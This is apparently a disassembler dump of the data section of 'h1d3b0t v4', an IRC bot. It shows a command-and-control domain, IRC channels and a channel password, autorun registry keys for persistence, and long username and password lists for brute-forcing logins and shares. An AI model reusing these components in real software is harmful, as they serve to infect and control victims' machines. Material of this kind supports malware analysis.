aSpanishColombi db 'spanish-colombia',0
align 10h
aSpanishChile db 'spanish-chile',0
align 10h
aSpanishBolivia db 'spanish-bolivia',0
aSpanishArgenti db 'spanish-argentina',0
align 4
aPortugueseBraz db 'portuguese-brazilian',0
align 4
aNorwegianNynor db 'norwegian-nynorsk',0
align 10h
aNorwegianBokma db 'norwegian-bokmal',0
align 4
aNorwegian db 'norwegian',0
align 10h
aItalianSwiss db 'italian-swiss',0
align 10h
aIrishEnglish db 'irish-english',0
align 10h
aGermanSwiss db 'german-swiss',0
align 10h
aGermanLuxembou db 'german-luxembourg',0
align 4
aGermanLichtens db 'german-lichtenstein',0
aGermanAustrian db 'german-austrian',0
aFrenchSwiss db 'french-swiss',0
align 4
aFrenchLuxembou db 'french-luxembourg',0
align 4
aFrenchCanadian db 'french-canadian',0
aFrenchBelgian db 'french-belgian',0
align 4
aEnglishUsa db 'english-usa',0
aEnglishUs db 'english-us',0
align 4
aEnglishUk db 'english-uk',0
align 10h
aEnglishTrinida db 'english-trinidad y tobago',0
align 4
aEnglishSouthAf db 'english-south africa',0
align 4
aEnglishNz db 'english-nz',0
align 10h
aEnglishJamaica db 'english-jamaica',0
aEnglishIre db 'english-ire',0
aEnglishCaribbe db 'english-caribbean',0
align 10h
aEnglishCan db 'english-can',0
aEnglishBelize db 'english-belize',0
align 4
aEnglishAus db 'english-aus',0
aEnglishAmerica db 'english-american',0
align 4
aDutchBelgian db 'dutch-belgian',0
align 4
aChineseTraditi db 'chinese-traditional',0
aChineseSingapo db 'chinese-singapore',0
align 4
aChineseSimplif db 'chinese-simplified',0
align 4
aChineseHongkon db 'chinese-hongkong',0
align 4
aChinese db 'chinese',0
aChi db 'chi',0
aChh db 'chh',0
aCanadian db 'canadian',0
align 4
aBelgian db 'belgian',0
aAustralian db 'australian',0
align 4
aAmericanEnglis db 'american-english',0
align 10h
aAmericanEngl_0 db 'american english',0
align 4
aAmerican db 'american',0 ; DATA XREF: .nsp0:off_4523E0o
align 10h
off_438D70 dd offset byte_50434F ; DATA XREF: sub_4306F0:loc_430743o
off_438D74 dd offset byte_504341 ; DATA XREF: sub_4306F0+16o
dword_438D78 dd 69736863h, 632E657Ah, 0 ; DATA XREF: sub_430DB0+38o
dword_438D84 dd 657A6973h, 203D3E20h, 30h ; DATA XREF: sub_430DB0+2Co
dword_438D90 dd 4E512331h, 4E41h ; DATA XREF: sub_431E60:loc_43201Fo
dword_438D98 dd 4E492331h, 46h ; DATA XREF: sub_431E60+19Bo
dword_438DA0 dd 4E492331h, 44h ; DATA XREF: sub_431E60+168o
dword_438DA8 dd 4E532331h, 4E41h, 6D6D3A48h, 73733Ah, 64646464h, 4D4D202Ch
; DATA XREF: sub_431E60+125o
; .nsp0:00452698o
dd 64204D4Dh, 79202C64h, 797979h, 2F642F4Dh, 7979h, 4D50h
dd 4D41h, 65636544h, 7265626Dh, 0
aNovember db 'November',0 ; DATA XREF: .nsp0:00452680o
align 4
aOctober db 'October',0 ; DATA XREF: .nsp0:0045267Co
aSeptember db 'September',0 ; DATA XREF: .nsp0:00452678o
align 4
aAugust db 'August',0 ; DATA XREF: .nsp0:00452674o
align 10h
aJuly db 'July',0 ; DATA XREF: .nsp0:00452670o
align 4
aJune db 'June',0 ; DATA XREF: .nsp0:0045266Co
align 10h
aApril db 'April',0 ; DATA XREF: .nsp0:00452664o
align 4
aMarch db 'March',0 ; DATA XREF: .nsp0:00452660o
align 10h
aFebruary db 'February',0 ; DATA XREF: .nsp0:0045265Co
align 4
aJanuary db 'January',0 ; DATA XREF: .nsp0:00452658o
aDec db 'Dec',0 ; DATA XREF: .nsp0:00452654o
aNov db 'Nov',0 ; DATA XREF: .nsp0:00452650o
aOct db 'Oct',0 ; DATA XREF: .nsp0:0045264Co
aSep db 'Sep',0 ; DATA XREF: .nsp0:00452648o
aAug db 'Aug',0 ; DATA XREF: .nsp0:00452644o
aJul db 'Jul',0 ; DATA XREF: .nsp0:00452640o
aJun db 'Jun',0 ; DATA XREF: .nsp0:0045263Co
aMay db 'May',0 ; DATA XREF: .nsp0:00452638o
; .nsp0:00452668o
aApr db 'Apr',0 ; DATA XREF: .nsp0:00452634o
aMar db 'Mar',0 ; DATA XREF: .nsp0:00452630o
aFeb db 'Feb',0 ; DATA XREF: .nsp0:0045262Co
aJan db 'Jan',0 ; DATA XREF: .nsp0:00452628o
aSaturday db 'Saturday',0 ; DATA XREF: .nsp0:00452624o
align 10h
aFriday db 'Friday',0 ; DATA XREF: .nsp0:00452620o
align 4
aThursday db 'Thursday',0 ; DATA XREF: .nsp0:0045261Co
align 4
aWednesday db 'Wednesday',0 ; DATA XREF: .nsp0:00452618o
align 10h
aTuesday db 'Tuesday',0 ; DATA XREF: .nsp0:00452614o
aMonday db 'Monday',0 ; DATA XREF: .nsp0:00452610o
align 10h
aSunday db 'Sunday',0 ; DATA XREF: .nsp0:0045260Co
align 4
aSat db 'Sat',0 ; DATA XREF: .nsp0:00452608o
aFri db 'Fri',0 ; DATA XREF: .nsp0:00452604o
aThu db 'Thu',0 ; DATA XREF: .nsp0:00452600o
aWed db 'Wed',0 ; DATA XREF: .nsp0:004525FCo
aTue db 'Tue',0 ; DATA XREF: .nsp0:004525F8o
aMon db 'Mon',0 ; DATA XREF: .nsp0:004525F4o
aSun db 'Sun',0 ; DATA XREF: .nsp0:off_4525F0o
aAP db 'a/p',0 ; DATA XREF: sub_4333D0:loc_4335C3o
aAmPm db 'am/pm',0 ; DATA XREF: sub_4333D0:loc_4335A3o
align 10h
aInithelp_c db 'inithelp.c',0 ; DATA XREF: sub_4338F0+9Co
; sub_4338F0+F1o
align 10h
dword_438EF0 dd 0FFFFFFFFh, 433CB7h, 433CBDh, 0FFFFFFFFh, 433D36h, 433D3Ch
; DATA XREF: sub_433B90+5o
dword_438F08 dd 6D6F7477h, 766E6562h, 632Eh, 0 ; DATA XREF: sub_4345C0+44o
dword_438F18 dd 0FFFFFFFFh, 43476Dh, 434773h, 0 ; DATA XREF: sub_434670+5o
dword_438F28 dd 0FFFFFFFFh, 43490Fh, 434915h ; DATA XREF: sub_434810+5o
dword_438F34 dd 6D635F61h, 632E70h ; DATA XREF: sub_4349C0+17Fo
aCchcount10Cchc db 'cchCount1==0 && cchCount2==1 || cchCount1==1 && cchCount2==0',0
; DATA XREF: sub_4349C0:loc_434B33o
align 10h
dword_438F80 dd 0FFFFFFFFh, 434C9Fh, 434CA5h, 0FFFFFFFFh, 434D3Dh, 434D43h
; DATA XREF: sub_4349C0+5o
dword_438F98 dd 65746573h, 632E766Eh, 0 ; DATA XREF: sub_434E10+B2o
; sub_434E10+F2o ...
aStringTooLong db 'string too long',0 ; DATA XREF: sub_435350+1Fo
dd offset dword_439098
off_438FB8 dd offset sub_4354D0 ; DATA XREF: sub_4353B0+44o
; sub_435470+1Fo ...
dd offset sub_435420
dd offset sub_435440
dd offset dword_4390E8
off_438FC8 dd offset sub_4355F0 ; DATA XREF: sub_435500+16o
; sub_4355A0+Ao ...
dd offset sub_435420
dd offset sub_4355C0
aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_435650+1Fo
dd offset dword_439138
off_438FF0 dd offset sub_435730 ; DATA XREF: sub_4356B0+16o
; sub_4356E0+Ao ...
dd offset sub_435420
dd offset sub_435700
dd offset dword_439168
off_439000 dd offset sub_435C40 ; DATA XREF: .nsp0:00435C1Ao
; sub_435C70+Co ...
dd offset sub_435DE0
aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_435DE0:loc_435DF8o
align 4
dd offset dword_4391B0
off_439020 dd offset sub_435E50 ; DATA XREF: sub_435E10+Ao
; .nsp0:00435F3Ao ...
align 8
dword_439028 dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: sub_435F60+Do
dd 3, 19930520h, 2 dup(0)
off_439048 dd offset off_4529A0 ; DATA XREF: .nsp0:0043907Co
; .nsp0:004390D0o ...
dd 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
off_439060 dd offset off_4529B8 ; DATA XREF: .nsp0:00439078o
; .nsp0:004390CCo ...
dd 1, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_439060
dd offset off_439048
dword_439080 dd 4 dup(0) ; DATA XREF: .nsp0:004390A8o
dd 2, 439078h
dword_439098 dd 3 dup(0) ; DATA XREF: .nsp0:00438FB4o
dd offset off_4529B8
dd offset dword_439080+8
align 10h
off_4390B0 dd offset off_4529D8 ; DATA XREF: .nsp0:004390C8o
dd 2, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_4390B0
dd offset off_439060
dd offset off_439048
dd 0
db 0 ; DATA XREF: .nsp0:004390F8o
db 0
db 0
db 0
db 0
db 0
db 0
db 0
dd 3, 4390C8h
dword_4390E8 dd 3 dup(0) ; DATA XREF: .nsp0:00438FC4o
dd offset off_4529D8
dd offset unk_4390D8
align 10h
off_439100 dd offset off_4529F8 ; DATA XREF: .nsp0:00439118o
dd 2, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_439100
dd offset off_439060
dd offset off_439048
dd 0
db 0 ; DATA XREF: .nsp0:00439148o
db 0
db 0
db 0
db 0
db 0
db 0
db 0
dd 3, 439118h
dword_439138 dd 3 dup(0) ; DATA XREF: .nsp0:00438FECo
dd offset off_4529F8
dd offset unk_439128
dd offset off_439048
dword_439150 dd 4 dup(0) ; DATA XREF: .nsp0:00439178o
dd 1, 43914Ch
dword_439168 dd 3 dup(0) ; DATA XREF: .nsp0:00438FFCo
dd offset off_4529A0
dd offset dword_439150+8
align 10h
off_439180 dd offset off_452A18 ; DATA XREF: .nsp0:00439198o
dd 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_439180
dword_43919C dd 3 dup(0) ; DATA XREF: .nsp0:004391C0o
dd 1, 439198h
dword_4391B0 dd 3 dup(0) ; DATA XREF: .nsp0:0043901Co
dd offset off_452A18
dd offset dword_43919C+4
align 8
dword_4391C8 dd 19930520h, 2, 4391E8h, 5 dup(0) ; DATA XREF: .nsp0:loc_435FCFo
dd 0FFFFFFFFh, 435FB8h, 0
dd offset sub_435FB0
dword_4391F8 dd 19930520h, 2, 439218h, 5 dup(0) ; DATA XREF: .nsp0:loc_435FE9o
dd 0FFFFFFFFh, 435FD9h, 0
dd offset loc_435FE1
dword_439228 dd 19930520h, 2, 439248h, 1, 439258h, 3 dup(0)
; DATA XREF: .nsp0:loc_435FF4o
dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 439270h, 4 dup(0)
dd offset loc_40D25A
dd 0
dd offset off_4529A0
dd 0
dd 0FFFFFFFFh, 0
dd 0Ch, 435CE0h, 2 dup(0)
dd offset off_4529B8
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 4353B0h, 2 dup(0)
dd offset off_4529D8
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 435620h, 0
dword_4392E0 dd 3, 4392C0h, 4392A0h, 439280h ; DATA XREF: .nsp0:004392FCo
dword_4392F0 dd 0 ; DATA XREF: sub_435350+3Fo
; sub_4355C0+15o
dd offset sub_4355A0
dd 0
dd offset dword_4392E0
dword_439300 dd 19930520h, 1, 439320h, 5 dup(0) ; DATA XREF: SEH_435350o
dd 0FFFFFFFFh, 436000h
dword_439328 dd 19930520h, 1, 439348h, 5 dup(0) ; DATA XREF: SEH_4353B0o
dword_439348 dd 0FFFFFFFFh, 436020h, 2, 4392A0h, 439280h, 0 ; DATA XREF: .nsp0:0043936Co
dword_439360 dd 0 ; DATA XREF: sub_435440+15o
dd offset sub_435470
dd 0
dd offset dword_439348+8
dword_439370 dd 19930520h, 1, 439390h, 5 dup(0) ; DATA XREF: SEH_435470o
dd 0FFFFFFFFh, 436040h
dword_439398 dd 19930520h, 1, 4393B8h, 5 dup(0) ; DATA XREF: SEH_435530o
dd 0FFFFFFFFh, 436060h, 0
dd offset off_4529F8
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 435760h, 0
dword_4393E0 dd 3, 4393C0h, 4392A0h, 439280h ; DATA XREF: .nsp0:004393FCo
dword_4393F0 dd 0 ; DATA XREF: sub_435650+3Fo
; sub_435700+15o
dd offset sub_4356E0
dd 0
dd offset dword_4393E0
dword_439400 dd 19930520h, 1, 439420h, 5 dup(0) ; DATA XREF: SEH_435650o
dd 0FFFFFFFFh, 436080h, 2F6h dup(0)
dword_43A000 dd 0 ; DATA XREF: sub_41B540+29o
dd offset loc_4013FF
dd offset loc_40CD62
dd offset sub_40D36B
dd offset sub_40E1E7
dd offset sub_435790
dword_43A018 dd 0 ; DATA XREF: sub_41B540+24o
dword_43A01C dd 0 ; DATA XREF: sub_41B540+17o
dd offset sub_41DA10
dd offset sub_41EB90
dd offset sub_4246A0
dd offset sub_42DE30
dword_43A030 dd 0 ; DATA XREF: sub_41B540:loc_41B552o
dword_43A034 dd 0 ; DATA XREF: sub_41B600+76o
dd offset sub_41ECC0
dword_43A03C dd 0 ; DATA XREF: sub_41B600:loc_41B671o
dword_43A040 dd 0 ; DATA XREF: sub_41B600+88o
dd offset sub_42DE50
dword_43A048 dd 2 dup(0) ; DATA XREF: sub_41B600:loc_41B683o
dword_43A050 dd 80000002h, 43A168h, 80000002h, 43A198h, 80000001h, 43A168h
; DATA XREF: sub_401000+7o
dword_43A068 dd 6272h ; DATA XREF: sub_401000+63o
; sub_4010AB+Bo
dword_43A06C dd 1A0Bh ; DATA XREF: sub_40141B+49Er
; sub_40141B+533r
dword_43A070 dd 1B58h ; DATA XREF: sub_40141B+57Fr
dword_43A074 dd 7E4h ; DATA XREF: sub_401CC1:loc_40436Ar
dword_43A078 dd 45h ; DATA XREF: sub_401CC1+1BC3r
; sub_40B1CC+3Br
dword_43A07C dd 7D1h ; DATA XREF: sub_401CC1:loc_40396Fr
; sub_40B1CC:loc_40B5BDr
dword_43A080 dd 201h ; DATA XREF: sub_401CC1:loc_403AFBr
word_43A084 dw 7C7h ; DATA XREF: sub_401CC1:loc_40448Dr
align 4
dword_43A088 dd 1 ; DATA XREF: sub_401CC1+643r
dword_43A08C dd 1 ; DATA XREF: sub_40141B+13Ar
dword_43A090 dd 1 ; DATA XREF: sub_40141B:loc_401759r
; sub_41615A+Cr
byte_43A094 db 78h ; DATA XREF: sub_401CC1+6B2r
; sub_401CC1+892r ...
align 4
dword_43A098 dd 9 ; DATA XREF: sub_40A112+39r
; sub_40A112+5Fr ...
dword_43A09C dd 1 ; DATA XREF: sub_4019E1+78r
; sub_401CC1+273r ...
dword_43A0A0 dd 1 ; DATA XREF: sub_4019E1+72r
; sub_401CC1+26Dr
aK333yx db 'k333yx',0 ; DATA XREF: sub_40141B+5Do
; sub_401CC1:loc_4041DDo ...
align 4
aH1d3b0tV4PiaVe db 'h1d3b0t v4 Pia Version',0
align 4
aHi_0 db 'hi',0 ; DATA XREF: sub_401CC1+7034o
; sub_401CC1+7103o
align 4
aMom_arabHacker db 'mom.arab-hacker.org',0 ; DATA XREF: sub_40141B+48Ao
; sub_40141B+524o
aDd db '#dd',0 ; DATA XREF: sub_40141B+4AAo
; sub_40141B+53Ao ...
aDpass db 'dpass',0 ; DATA XREF: sub_40141B+4C1o
; sub_40141B+54Co
align 4
byte_43A0E8 db 61h ; DATA XREF: sub_40141B+140o
; sub_40141B+164w ...
db 67h, 6Ch, 61h
dd 78766378h, 6578652Eh, 0
dd 6E6E6977h, 2E787465h, 746162h
aWindowsService db 'Windows Service XP',0 ; DATA XREF: sub_401000+Eo
align 4
aXx db 'XX-',0 ; DATA XREF: .nsp0:0040A190o
aWinsysx_dat db 'winsysx.dat',0
aXI db '-x+i',0 ; DATA XREF: sub_401CC1+717Co
align 10h
aXx_0 db '#xx#',0 ; DATA XREF: sub_401CC1+1A26o
; sub_401CC1+1A37o ...
align 4
aCyberLog db '#CYBER-log',0
align 4
aCyberSniff db '#CYBER-sniff',0 ; DATA XREF: sub_401CC1+3B13o
align 4
off_43A154 dd offset dword_43C6A8 ; DATA XREF: sub_401CC1:loc_408D51o
off_43A158 dd offset aMircV6_16Khale ; DATA XREF: sub_401CC1+825r
; sub_401CC1+70ACo
; "mIRC v6.16 Khaled Mardam-Bey"
dd offset aMircV6_17Khale ; "mIRC v6.17 Khaled Mardam-Bey"
dd offset aMircV6_20Khale ; "mIRC v6.20 Khaled Mardam-Bey"
dd offset aMircV6_21Khale ; "mIRC v6.21 Khaled Mardam-Bey"
aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\Run',0
align 4
db 53h
aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
align 10h
aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_417DB1+28o
; sub_4180D5+28o
align 4
aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_417DB1+D4o
; sub_4180D5+D4o
align 10h
dd offset aAdministrato_0 ; "Administrator"
dd offset aAdministrato_1 ; "administrator"
dd offset aAdministrador ; "administrador"
dd offset aAdministrateur ; "administrateur"
dd offset aAdministrat ; "administrat"
dd offset aAdmins ; "admins"
dd offset aAdmin ; "admin"
dd offset aStaff ; "staff"
dd offset aRoot ; "root"
dd offset aComputer ; "computer"
dd offset aOwner ; "owner"
dd offset aStudent ; "student"
dd offset aTeacher ; "teacher"
dd offset aWwwadmin ; "wwwadmin"
dd offset aGuest_0 ; "guest"
dd offset aDefault ; "default"
dd offset aDatabase ; "database"
dd offset aDba ; "dba"
dd offset aOracle ; "oracle"
dd offset aDb2 ; "db2"
dd offset aUser_3 ; "USER"
align 8
dd offset dword_4E0750
dd offset aAdministrato_2 ; "ADMINISTRATOR"
dd offset aAdministrato_3 ; "Administrator"
dd offset aAdministrato_4 ; "administrator"
dd offset aFubar ; "fubar"
dd offset aBla ; "bla"
dd offset aGuest_1 ; "GUEST"
dd offset aRoot_0 ; "ROOT"
dd offset aRoot_1 ; "root"
dd offset aAdmin_0 ; "ADMIN"
dd offset aPassword ; "PASSWORD"
dd offset aTemp ; "TEMP"
dd offset aShare_0 ; "SHARE"
dd offset aWrite ; "WRITE"
dd offset aFull_0 ; "FULL"
dd offset aLadeda ; "ladeda"
dd offset aBoth ; "BOTH"
dd offset aRead ; "READ"
dd offset aFiles ; "FILES"
dd offset aDemo ; "DEMO"
dd offset aOwner_0 ; "OWNER"
dd offset aOwner_1 ; "Owner"
dd offset aEdu ; "edu"
dd offset aTest ; "TEST"
dd offset aAccess ; "ACCESS"
dd offset aUser_4 ; "USER"
dd offset aBackup ; "BACKUP"
dd offset aSystem_1 ; "SYSTEM"
dd offset aServer_6 ; "SERVER"
dd offset aPepsi ; "pepsi"
dd offset aLocal ; "LOCAL"
dd offset aUnix ; "unix"
dd offset aLinux ; "linux"
dd offset aChangeme ; "changeme"
dd offset aChangeme_0 ; "Changeme"
dd offset aTemp123 ; "temp123"
dd offset a1 ; "1"
dd offset a12 ; "12"
dd offset a123 ; "123"
dd offset a1234 ; "1234"
dd offset a12345 ; "12345"
dd offset a123456 ; "123456"
dd offset a1234567 ; "1234567"
dd offset a12345678 ; "12345678"
dd offset a123456789 ; "123456789"
dd offset a654321 ; "654321"
dd offset a54321 ; "54321"
dd offset a111 ; "111"
dd offset a11111111 ; "11111111"
dd offset a88888888 ; "88888888"
dd offset aPass_1 ; "pass"
dd offset aPasswd ; "passwd"
dd offset aDatabase_0 ; "database"
dd offset aAbcd ; "abcd"
dd offset aAbc123 ; "abc123"
dd offset aOracle_0 ; "oracle"
dd offset aSybase ; "sybase"
dd offset a123qwe ; "123qwe"
dd offset aComputer_0 ; "computer"
dd offset aInternet ; "Internet"
dd offset aSuper ; "super"
; ---------------------------------------------------------------------------
or dl, cl
inc ebx
add [eax], dl
retf 43h
; ---------------------------------------------------------------------------
sbb al, 0CAh
inc ebx
add [eax], ch
retf 43h
; ---------------------------------------------------------------------------
xor dl, cl
inc ebx
add [edx+ecx*8], dh
inc ebx
add [edx+ecx*8], bh
inc ebx
add [edx+ecx*8+43h], al
add [edx+ecx*8+43h], cl
add [eax-36h], dl
inc ebx
add [eax-36h], bl
inc ebx
add [eax-36h], ah
inc ebx
add [eax-36h], ch
inc ebx
add [edx+ecx*8+43h], dh
add [edx+ecx*8+43h], bh
add [eax-77FFBC36h], al
retf 43h
; ---------------------------------------------------------------------------
dd offset aPat ; "pat"
; ---------------------------------------------------------------------------
xchg eax, esp
retf 43h
; ---------------------------------------------------------------------------
cwde
retf 43h
; ---------------------------------------------------------------------------
pushf
retf 43h
; ---------------------------------------------------------------------------
movsb
retf 43h
; ---------------------------------------------------------------------------
lodsb
retf 43h
; ---------------------------------------------------------------------------
mov ah, 0CAh
inc ebx
add al, al
retf 43h
; ---------------------------------------------------------------------------
dd offset a0wned ; "0wned"
; ---------------------------------------------------------------------------
aam 0CAh
inc ebx
add ah, bl
retf 43h
; ---------------------------------------------------------------------------
dd offset aNetfuck ; "netfuck"
dd offset aFucked ; "fucked"
dd offset aCrash ; "crash"
; ---------------------------------------------------------------------------
cld
retf 43h
; ---------------------------------------------------------------------------
dd offset aAaa_0 ; "aaa"
; ---------------------------------------------------------------------------
add al, 0CBh
inc ebx
add [eax], cl
retf
; ---------------------------------------------------------------------------
inc ebx
add [eax], dl
retf
; ---------------------------------------------------------------------------
inc ebx
add [ebx+ecx*8], dl
inc ebx
add [eax], bl
retf
; ---------------------------------------------------------------------------
inc ebx
add [eax], ah
retf
; ---------------------------------------------------------------------------
inc ebx
add [eax], ch
retf
; ---------------------------------------------------------------------------
inc ebx
add [eax], dh
retf
; ---------------------------------------------------------------------------
inc ebx
add [eax], bh
retf
; ---------------------------------------------------------------------------
inc ebx
add [eax-35h], al
inc ebx
add [eax-35h], cl
inc ebx
add [eax-35h], dl
inc ebx
add [ebx+ecx*8+43h], dl
add [ebx+ecx*8+43h], bl
add [ebx+ecx*8+43h], ah
add [ebx+ecx*8+43h], ch
add [eax-35h], bh
inc ebx
add [eax-77FFBC35h], al
retf
; ---------------------------------------------------------------------------
inc ebx
add [ebx+ecx*8-3467FFBDh], dl
inc ebx
add [ebx+ecx*8-345BFFBDh], bl
inc ebx
add [ebx+ecx*8-344BFFBDh], ch
inc ebx
add [ebx+ecx*8-343BFFBDh], bh
inc ebx
add ah, cl
retf
; ---------------------------------------------------------------------------
inc ebx
add al, bl
retf
; ---------------------------------------------------------------------------
inc ebx
add al, ah
retf
; ---------------------------------------------------------------------------
inc ebx
add al, ch
retf
; ---------------------------------------------------------------------------
inc ebx
add al, dh
retf
; ---------------------------------------------------------------------------
db 43h ; C
db 0
db 0F8h ; ø
db 0CBh ; Ë
dw 43h
dd offset aL33t ; "l33t"
dd offset aL337 ; "l337"
dd offset aHacker ; "hacker"
dd offset aHax0r ; "hax0r"
dd offset aScript ; "script"
dd offset aScriptkiddie ; "scriptkiddie"
dd offset aKiddie ; "kiddie"
dd offset aMirc_4 ; "mirc"
dd offset aUwontguessme ; "uwontguessme"
dd offset aYouwontguessme ; "youwontguessme"
dd offset aGuessme ; "guessme"
dd offset asc_43CC70 ; "x"
dd offset aXx_1 ; "xx"
dd offset aXxx ; "xxx"
dd offset aXxxx ; "xxxx"
dd offset aXxxxx ; "xxxxx"
dd offset aXxxxxx ; "xxxxxx"
dd offset aXxxxxxx ; "xxxxxxx"
dd offset aXxxxxxxx ; "xxxxxxxx"
dd offset aXxxxxxxxx ; "xxxxxxxxx"
dd offset a0 ; "0"
dd offset a00 ; "00"
dd offset aDeath ; "death"
dd offset aTesting ; "testing"
dd offset a000 ; "000"
dd offset a0000 ; "0000"
dd offset a00000 ; "00000"
dd offset a000000 ; "000000"
dd offset aAcademia ; "academia"
dd offset aAcademic ; "academic"
dd offset aAccept_0 ; "accept"
dd offset aAccount ; "account"
dd offset aAction_0 ; "action"
dd offset aAdam ; "adam"
dd offset aAdrian ; "adrian"
dd offset aAdrianna ; "adrianna"
dd offset aAdult ; "adult"
dd offset aAerobics ; "aerobics"
dd offset aAids ; "aids"
dd offset aAirplane ; "airplane"
dd offset aAlaska ; "alaska"
dd offset aAlbany ; "albany"
dd offset aAlbatros ; "albatros"
dd offset aAlbert ; "albert"
dd offset aAlert ; "alert"
dd offset aAlex ; "alex"
dd offset aAlexande ; "alexande"
dd offset aAlgebra ; "algebra"
dd offset aAlias ; "alias"
dd offset aAliases_0 ; "aliases"
dd offset aAlice ; "alice"
dd offset aAlicia ; "alicia"
dd offset aAlisa ; "alisa"
dd offset aAlison ; "alison"
dd offset aAllison ; "allison"
dd offset aAllow ; "allow"
dd offset aAlphabet ; "alphabet"
dd offset aAmadeus ; "amadeus"
dd offset aAmanda ; "amanda"
dd offset aAmber ; "amber"
dd offset aAmerica_0 ; "america"
dd offset aAmorphou ; "amorphou"
dd offset aAnal ; "anal"
dd offset aAnalog ; "analog"
dd offset aAnarchis ; "anarchis"
dd offset aAnarchy ; "anarchy"
dd offset aAnchor ; "anchor"
dd offset aAndrea ; "andrea"
dd offset aAndroid ; "android"
dd offset aAndromac ; "andromac"
dd offset aAndy ; "andy"
dd offset aAnfo ; "anfo"
dd offset aAngela ; "angela"
dd offset aAngerine ; "angerine"
dd offset aAngie ; "angie"
dd offset aAnimal ; "animal"
dd offset aAnimals ; "animals"
dd offset aAnita ; "anita"
dd offset aAnna ; "anna"
dd offset aAnne ; "anne"
dd offset aAnnette ; "annette"
dd offset aAnon ; "anon"
dd offset aAnonymou ; "anonymou"
dd offset aAnswer ; "answer"
dd offset aAnthrax ; "anthrax"
dd offset aAnthropo ; "anthropo"
dd offset aAnvils ; "anvils"
dd offset aAnything ; "anything"
dd offset aApollo13 ; "apollo13"
dd offset aApril_0 ; "april"
dd offset aAria ; "aria"
dd offset aAriadne ; "ariadne"
dd offset aArlene ; "arlene"
dd offset aArmy ; "army"
dd offset aArrow ; "arrow"
dd offset aArthur ; "arthur"
dd offset aArtist ; "artist"
dd offset aAsian ; "asian"
dd offset aAsshole ; "asshole"
dd offset aAthena ; "athena"
dd offset aAtmosphe ; "atmosphe"
dd offset aAtom ; "atom"
dd offset aAttack ; "attack"
dd offset aAuthoriz ; "authoriz"
dd offset aAztecs ; "aztecs"
dd offset aAzure ; "azure"
dd offset aBabe ; "babe"
dd offset aBaby ; "baby"
dd offset aBacchus ; "bacchus"
dd offset aBackdoor ; "backdoor"
dd offset aBadass ; "badass"
dd offset aBailey ; "bailey"
dd offset aBall ; "ball"
dd offset aBanana ; "banana"
dd offset aBananas ; "bananas"
dd offset aBandit ; "bandit"
dd offset aBank ; "bank"
dd offset aBanks ; "banks"
dd offset aBarbara ; "barbara"
dd offset aBarber ; "barber"
dd offset aBare ; "bare"
dd offset aBarf ; "barf"
dd offset aBaritone ; "baritone"
dd offset aBart ; "bart"
dd offset aBartman ; "bartman"
dd offset aBaseball ; "baseball"
dd offset aBasic ; "basic"
dd offset aBass ; "bass"
dd offset aBassoon ; "bassoon"
dd offset aBatch ; "batch"
dd offset aBatman ; "batman"
dd offset aBeach ; "beach"
dd offset aBeammeup ; "beammeup"
dd offset aBear ; "bear"
dd offset aBeast ; "beast"
dd offset aBeater ; "beater"
dd offset aBeauty ; "beauty"
dd offset aBeaver ; "beaver"
dd offset aBecky ; "becky"
dd offset aBeethove ; "beethove"
dd offset aBegin ; "begin"
dd offset aBehead ; "behead"
dd offset aBell ; "bell"
dd offset aBeloved ; "beloved"
dd offset aBenz ; "benz"
dd offset aBeowulf ; "beowulf"
dd offset aBerkeley ; "berkeley"
dd offset aBerlin ; "berlin"
dd offset aBerliner ; "berliner"
dd offset aBeryl ; "beryl"
dd offset aBeta ; "beta"
dd offset aBeth ; "beth"
dd offset aBetsie ; "betsie"
dd offset aBetty ; "betty"
dd offset aBeverly ; "beverly"
dd offset aBible ; "bible"
dd offset aBicamera ; "bicamera"
dd offset aBigfoot ; "bigfoot"
dd offset aBill ; "bill"
dd offset aBinary ; "binary"
dd offset aBios ; "bios"
dd offset aBird ; "bird"
dd offset aBishop ; "bishop"
dd offset aBitch ; "bitch"
dd offset aBitmap ; "bitmap"
dd offset aBitnet ; "bitnet"
dd offset aBlack ; "black"
dd offset aBlonde ; "blonde"
dd offset aBlondie ; "blondie"
dd offset aBlood ; "blood"
dd offset aBloodaxe ; "bloodaxe"
dd offset aBlow ; "blow"
dd offset aBlowjob ; "blowjob"
dd offset aBlue ; "blue"
dd offset aBlues ; "blues"
dd offset aBoard ; "board"
dd offset aBomb ; "bomb"
dd offset aBoner ; "boner"
dd offset aBoob ; "boob"
dd offset aBoobs ; "boobs"
dd offset aBook ; "book"
dd offset aBorn ; "born"
dd offset aBoyscout ; "boyscout"
dd offset aBradley ; "bradley"
dd offset aBrandi ; "brandi"
dd offset aBrandy ; "brandy"
dd offset aBravo ; "bravo"
dd offset aBreak ; "break"
dd offset aBreast ; "breast"
dd offset aBrenda ; "brenda"
dd offset aBrian ; "brian"
dd offset aBridget ; "bridget"
dd offset aBroadway ; "broadway"
dd offset aBrothel ; "brothel"
dd offset aBrunette ; "brunette"
dd offset aBrute ; "brute"
dd offset aBrutefor ; "brutefor"
dd offset aBulls ; "bulls"
dd offset aBullshit ; "bullshit"
dd offset aBumbling ; "bumbling"
dd offset aBung ; "bung"
dd offset aBurgess ; "burgess"
dd offset aBurn ; "burn"
dd offset aButch ; "butch"
dd offset aButt ; "butt"
dd offset aButthead ; "butthead"
dd offset aCaliforn ; "californ"
dd offset aCamille ; "camille"
dd offset aCampanil ; "campanil"
dd offset aCamping ; "camping"
dd offset aCandi ; "candi"
dd offset aCandy ; "candy"
dd offset aCantor ; "cantor"
dd offset aCaptain ; "captain"
dd offset aCapture ; "capture"
dd offset aCard ; "card"
dd offset aCardinal ; "cardinal"
dd offset aCaren ; "caren"
